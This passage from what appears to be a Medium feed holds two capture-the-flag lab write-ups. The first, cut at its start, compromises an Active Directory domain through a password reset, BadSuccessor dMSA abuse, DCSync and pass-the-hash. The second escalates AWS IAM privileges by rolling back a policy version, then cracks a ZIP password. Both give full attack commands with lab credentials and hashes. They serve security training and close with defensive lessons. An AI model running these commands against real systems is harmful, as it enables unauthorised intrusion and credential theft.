for convenience, forgetting that any authenticated user can read them. We make a note of it for later:</p><pre>Thor : Th0r!W!nt3rFang</pre><h3>SMB Share Enumeration</h3><p>Continuing with our enumeration, we used netexec to check which SMB shares are accessible with our current credentials. In cases like this, I usually like to cross-check with different tools like SMBMap or SMBClient just to make sure I’m getting accurate results, but here nothing interesting turned up:</p><pre>netexec smb 10.0.30.36 -u freyja -p &#39;Fr3yja!Dr@g0n^12&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*79dan-56y1Zmici_A_V4xA.png" /></figure><p>Only default shares are visible (ADMIN$, C$, IPC$, NETLOGON, SYSVOL). Nothing useful here.</p><h3>Bloodhound Enumeration</h3><p>With basic enumeration out of the way, we shifted to BloodHound to map out ACL relationships that standard tools tend to miss. First, we added the domain to /etc/hosts to make sure DNS resolution stays consistent throughout the engagement:</p><pre>echo &#39;10.0.30.36 yggdrasil.hacksmarter MIDGARDDC MIDGARDDC.yggdrasil.hacksmarter&#39; &gt;&gt; /etc/hosts</pre><p>Then we ran the collector:</p><pre>bloodhound-ce-python  -c All -d yggdrasil.hacksmarter -u freyja -p &#39;Fr3yja!Dr@g0n^12&#39; -dc MIDGARDDC.yggdrasil.hacksmarter -ns 10.0.30.36 --zip --dns-timeout 10  --dns-tcp  --op-sec</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_etTxgGuoD66lel-HzM7Hw.png" /></figure><ul><li>Once the data was imported into BloodHound, we identified a clear attack path: Thor is a member of the PC Specialist 2 group, which holds ForceChangePassword over Hodr. In other words, Thor can reset Hodr&#39;s password without ever needing to know the current one.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*57aYoldgNBOgpViE7HFp-Q.png" /></figure><h3>Lateral Movement — ForceChangePassword to Hodr</h3><p>Before doing anything, we wanted to confirm the credential we found in Thor’s description was actually valid:</p><pre>netexec smb 10.0.30.36 -u thor -p &#39;Th0r!W!nt3rFang&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YXFD01qgpJVhbO_ZYf2UvA.png" /></figure><p>The credentials check out, which means we can now go ahead and reset Hodr’s password. For this we used the following command:</p><pre>net rpc password &#39;Hodr&#39; &#39;P@ssword123!&#39; -U &#39;MIDGARDDC.yggdrasil.hacksmarter&#39;/&#39;Thor&#39;%&#39;Th0r!W!nt3rFang&#39; -S 10.0.30.36</pre><p>To verify the password change actually worked, we can confirm with netexec and check whether we now have access through protocols like WinRM:</p><pre>netexec winrm 10.0.30.36 -u &#39;Hodr&#39; -p &#39;P@ssword123!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wvd3EIzHAAWwxO90CgZIDQ.png" /></figure><p>Since WinRM access is available, we can use evil-winrm to drop into a remote shell:</p><pre>evil-winrm -i 10.0.30.36 -u &#39;Hodr&#39; -p &#39;P@ssword123!&#39;</pre><h3>Privilege Escalation via BadSuccessor (dMSA Abuse)</h3><p>After landing a shell as Hodr through Evil-WinRM, the next phase is privilege escalation. Instead of immediately throwing automated tools at the box, a good habit is to manually poke around in non-standard locations first. A quick look at the root of C:\ revealed an unusual scripts folder containing three PowerShell scripts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWorCaY91icy4Q9Lq6tOOw.png" /></figure><p>The filenames map directly to a <strong>BadSuccessor</strong> attack chain, a Windows Server 2025 privilege escalation technique that abuses Delegated Managed Service Accounts (dMSAs). dMSAs were designed to replace legacy service accounts with automatic password rotation, but the way they inherit credentials during migration can be abused. The KDC trusts the msDS-ManagedAccountPrecededByLink attribute without checking whether a real migration ever took place, which means anyone who can create a dMSA can point it at any account, including Administrator, and get back a TGT carrying that account&#39;s privileges.</p><p><strong>Step 1, Find a Vulnerable OU</strong></p><p>From our Linux box, we used bloodyAD to enumerate OUs where Hodr has the necessary permissions:</p><pre>bloodyAD -d yggdrasil.hacksmarter -u &#39;Hodr&#39; -p &#39;P@ssword123!&#39; --host 10.0.30.36  get writable --otype OU</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sVmOapwjEZW6_vHIrkEY-Q.png" /></figure><p>Hodr has CREATE_CHILD rights on the Web Servers OU, which is exactly the primitive we need for BadSuccessor. It lets us drop a new dMSA object into that OU.</p><p><strong>Step 2, Deploy the Malicious dMSA</strong></p><p>With CREATE_CHILD confirmed, we used bloodyAD&#39;s add badSuccessor subcommand to create a rogue dMSA that impersonates Administrator. The --prepatch flag handles the attribute linking automatically for us:</p><pre>bloodyAD -d yggdrasil.hacksmarter -u &#39;Hodr&#39; -p &#39;P@ssword123!&#39; \<br>  --host 10.0.30.36 add badSuccessor &#39;evilDMSA3&#39; \<br>  --ou &quot;OU=Web Servers,OU=Yggdrasil Servers,DC=yggdrasil,DC=hacksmarter&quot; \<br>  --prepatch</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ijbnNa_bIjoiurn06s3BYw.png" /></figure><p>Just like that, the DC issued a TGT for evilDMSA3$ carrying Administrator&#39;s privileges. Even better, the previous RC4 key (64f12cddaa88057e06a81b54e73b949b) is actually Administrator&#39;s NTLM hash, leaked through the managed account inheritance mechanism.</p><p><strong>Step 3, Verify the dMSA Object</strong></p><p>Before moving on, we confirmed the object was created correctly and took a look at its state attributes:</p><pre>bloodyAD -d yggdrasil.hacksmarter -u &#39;Hodr&#39; -p &#39;P@ssword123!&#39; --host 10.0.30.36 get object &#39;evilDMSA$&#39; --attr msDS-ManagedPasswordId,msDS-DelegatedMSAState</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K99PqPr3_l-DkSpLKdjRUA.png" /></figure><p>This confirms the dMSA is active and properly linked to the target principal.</p><p><strong>Step 4, DCSync Using the TGT</strong></p><p>With the ccache file holding our Administrator-impersonating TGT, we loaded it up and ran a targeted DCSync to pull the odin account hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*M98Mf82xqf3I8YdViRSSpw.png" /></figure><pre>export KRB5CCNAME=evilDMSA3_KZ.ccache</pre><pre>netexec smb 10.0.30.36 --use-kcache --ntds --user odin</pre><p>The --use-kcache flag tells netexec to authenticate using the Kerberos ticket from the ccache instead of a password or hash. Since the TGT impersonates Administrator, we effectively have DCSync rights and can replicate any account&#39;s credentials straight from the DC. In this case we went after Odin, since that account is a domain admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5y-L12-73rMSifQPR8iAjQ.png" /></figure><p>With Odin’s NT hash in hand, we can pass-the-hash and pop a session through Evil-WinRM:</p><pre>evil-winrm -i 10.0.30.36 -u odin -H a7b918f6ad8f741a056ebb4fd112ef4a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YA8R7P43l0xi-R-VBcrPDQ.png" /></figure><p>Or, even better, we can go for the full prize and dump every hash in the domain using impacket-secretsdump. Since we already have a Domain Admin NT hash, we can authenticate directly against the DC and pull the entire NTDS database</p><pre>impacket-secretsdump -hashes :a7b918f6ad8f741a056ebb4fd112ef4a yggdrasil.hacksmarter/odin@10.0.30.36</pre><p>This gives us the krbtgt hash, every domain user’s NT hash, and effectively persistent access to the environment through Golden Ticket attacks. At this point, the domain is fully compromised.</p><h3>Lessons Learned</h3><p>This lab was a great reminder that even environments with a mature security posture often have small cracks that chain into full compromise. A few key takeaways from this engagement:</p><ul><li><strong>User description fields are still a goldmine.</strong> Storing credentials in AD attributes for “convenience” is a habit that refuses to die. Always pull descriptions early in your enumeration, it’s a 5-second check that can save hours of work.</li><li><strong>ACL-based attack paths are easy to miss without the right tools.</strong> The Thor → Hodr path through ForceChangePassword would never show up in a standard share or service scan. BloodHound surfaces these relationships clearly, and skipping it means leaving real attack paths on the table.</li><li><strong>Manual recon still beats automation in some cases.</strong> The scripts folder on C:\ was the breadcrumb that pointed straight at BadSuccessor. Automated tools likely would have flagged it as noise, but a quick manual look made the whole privilege escalation path obvious.</li><li><strong>New Windows features bring new attack surface.</strong> dMSAs were introduced to make service account management safer, but BadSuccessor shows how a well-intentioned feature can become a domain-wide compromise primitive when permissions aren’t tightly controlled. Keep an eye on Server 2025 environments and audit CREATE_CHILD rights carefully.</li><li><strong>Defense in depth still matters.</strong> No single misconfiguration here would have led to full compromise on its own. It was the chain (weak password hygiene → ACL misconfiguration → overly permissive OU rights → unpatched dMSA behavior) that made it possible.</li></ul><p>The progression also felt natural. Each step unlocked the next without feeling forced or guessy, which is something I really appreciate in AD labs. Big shoutout to <strong>HackSmarter</strong> for putting together such a well-designed scenario, definitely one of the better AD boxes I’ve worked through recently.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e670a07b08a3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escalate Privileges by IAM Policy Rollback (PwnedLabs) — An Alternative Approach with AWSPEAS]]></title>
            <link>https://medium.com/@4le26x/escalate-privileges-by-iam-policy-rollback-pwnedlabs-an-alternative-approach-with-awspeas-8b8231d7b39b?source=rss-94f6bf81acfd------2</link>
            <guid isPermaLink="false">https://medium.com/p/8b8231d7b39b</guid>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cyber-securty]]></category>
            <category><![CDATA[pwned-lab]]></category>
            <dc:creator><![CDATA[Alejandro Perez]]></dc:creator>
            <pubDate>Tue, 28 Apr 2026 09:52:11 GMT</pubDate>
            <atom:updated>2026-04-28T09:52:11.411Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HHcGLeb-wQ3SgT2d-Hzt3w.png" /></figure><p>This post is part of a series I’m publishing to show alternative solutions to PwnedLabs challenges. The goal of these write-ups is to keep track of my progress and learning while exploring different tools and frameworks for cloud pentesting. In this one, we’re going to solve the lab below, these are some of the steps and alternative tools you can use beyond the original write-up provided by PwnedLabs.</p><blockquote><em>Original lab: </em><a href="https://pwnedlabs.io/labs/escalate-privileges-by-iam-policy-rollback"><em>Pwned Labs — Escalate Privileges by IAM Policy Rollback</em></a><em> All credentials, account IDs, and bucket names shown here belong to a temporary lab environment and have been rotated.</em></blockquote><h3>Scenario</h3><p>During a routine review for Huge Logistics, our team stumbled upon a passwords.xlsx file containing AWS access keys for an IAM user named intern01. The objective is to use those keys to navigate the AWS environment and see how far we can pivot toward sensitive data.</p><p>This write-up shows an alternative path to the official walkthrough. Instead of running the IAM enumeration commands one by one, we lead with <strong>AWSPEAS</strong> (the AWS module of the CloudPEASS suite) to surface dangerous permissions automatically, and then we exploit the misconfiguration the same way: by rolling the customer-managed policy back to a more permissive previous version.</p><h3>Step 1 — Confirm the Identity</h3><p>After loading the keys into a local AWS profile (here named user), we confirm who we are and inspect any policies attached directly to the IAM user:</p><pre>aws iam list-attached-user-policies --user-name intern01 --profile user | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Ykvzkl4Q-AW9MdrKbqPpQ.png" /></figure><p>This reveals a single attached policy named intern_policy. The account ID in your lab instance will be different, in this case, it&#39;s 070789672267.</p><h3>Step 2 — Enumerate Permissions with AWSPEAS</h3><p>To identify possible ways to escalate privileges, we run <a href="https://github.com/peass-ng/CloudPEASS"><strong>AWSPEAS</strong> </a>, a great script for performing quick enumeration across different AWS services. In this case, we focus on IAM and S3 first, to surface any high-impact permissions:</p><pre>python3 AWSPEAS.py  --profile user --region us-east-1 --out-json-path /tmp/awspeas-huge-logistics.json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W9r115XIxmfiGsFeOmRKTw.png" /></figure><p>As you can see in the results, two interesting permissions show up: iam:ListPolicyVersions and iam:SetDefaultPolicyVersion. That combination means we can both list the versions of a policy and change which one is currently active, a classic AWS privilege-escalation primitive (iam:SetDefaultPolicyVersion is on AWS&#39;s own list of dangerous permissions for exactly this reason).</p><h3>Step 3 — Look for an Older Policy Version</h3><p>Before making any changes, we check whether the current policy has additional versions sitting around:</p><pre>aws iam list-policy-versions --policy-arn arn:aws:iam::070789672267:policy/intern_policy --profile user | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/895/1*YDJUg5mCk1yrGzoUVxfDpw.png" /></figure><p>There is indeed an older version (v1) that isn&#39;t the current default. Older policy versions are the real loot here — they often contain permissions that were rolled back for a reason, and rolling them forward again is exactly the privesc.</p><p>So we inspect v1 directly:</p><pre>aws iam get-policy-version --policy-arn arn:aws:iam::070789672267:policy/intern_policy --version-id v1 --profile user | jq</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WyUR794TySMn5bBaQMV_GQ.png" /></figure><p>v1 holds permissions we don&#39;t have under the current v2: s3:ListAllMyBuckets, s3:GetObject, s3:ListBucket, and ec2:DescribeInstances. That&#39;s a meaningful upgrade — broad S3 read access to whatever lives in the account.</p><h3>Step 4 — Roll the Default Version Back to v1</h3><p>Because our enumeration confirmed we hold iam:SetDefaultPolicyVersion, we simply set v1 as the active version of intern_policy:</p><pre>aws iam set-default-policy-version --policy-arn arn:aws:iam::070789672267:policy/intern_policy --version-id v1 --profile user | jq</pre><p>The command returns no output on success — but we’re now effectively running with the older, more permissive policy. No new policy was created, no roles were assumed, and the change required exactly one API call.</p><h3>Step 5 — Verify Escalated Access in S3</h3><p>With the rollback in place, we re-run the most basic S3 enumeration to confirm the new permissions are live:</p><pre>aws s3 ls --profile user</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YEjJmBtkmil4LecXZ0Itjw.png" /></figure><p>We can now see the bucket huge-logistics-data-9213f62f0d60 — something that returned AccessDenied only minutes earlier.</p><p>Let’s list its contents:</p><pre>aws s3 ls s3://huge-logistics-data-9213f62f0d60 --profile user</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Q3noXBf-aXJoc7RN6M9WA.png" /></figure><p>The bucket holds a single object: a .zip file that almost certainly contains the sensitive data the lab wants us to find.</p><h3>Step 6 — Download the Archive</h3><pre>aws s3 cp s3://huge-logistics-data-9213f62f0d60/amex-export.zip ./ --profile user</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9nBiYwVToV2WdWFv41ZYzg.png" /></figure><p>Once the file is local, we notice it’s password-protected. There are a couple of common ways to attack a weak ZIP password offline, fcrackzip with the rockyou wordlist, or John the Ripper. In this example we&#39;ll use John.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ivYIpEHlv6BASvPD68ymWw.png" /></figure><h3>Step 7 — Crack the ZIP Password with John</h3><p>First, we convert the ZIP into a hash format John understands:</p><pre>zip2john amex-export.zip -o amex-export.zip.hash</pre><p>Then we run a dictionary attack against it using the classic rockyou.txt wordlist:</p><pre>john amex-export.zip.hash --wordlist=rockyou.txt</pre><p>John cracks the hash instantly and reveals the password: 1logistics!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ISb9J9J98xhE98_MmGU_fA.png" /></figure><p>Unzipping the archive with that password gives us the JSON export containing the (mock) American Express credit-card data the lab uses as the flag. <strong>PWNED.</strong></p><h3>Defense &amp; Recommendations</h3><h3>The Root Cause</h3><p>The vulnerability isn’t iam:SetDefaultPolicyVersion in isolation. It is the dangerous combination of two factors:</p><ol><li>Retaining old, overly permissive policy versions.</li><li>Granting rollback permissions to low-trust principals.</li></ol><p>Closing this kill chain requires layered controls across IAM, detection, and S3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eJ4u5iv0zjgr2_xCpbnWcg.png" /><figcaption>Layered controls across IAM, detection, and S3. Diagram generated with Gemini.</figcaption></figure><h3>Closing Thoughts</h3><p>This lab is a small but realistic microcosm of how cloud breaches happen: a forgotten intern account, a permissive shadow permission, an old policy version nobody pruned, and weakly protected data downstream. Whether you walk the path with raw AWS CLI commands or lead with AWSPEAS as we did here, the underlying lesson is the same policy versioning is invisible state, and invisible state is where attackers live.</p><h3>Tools used</h3><ul><li>AWSPEAS / CloudPEASS</li><li>John the Ripper</li><li>AWS CLI + jq</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8b8231d7b39b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>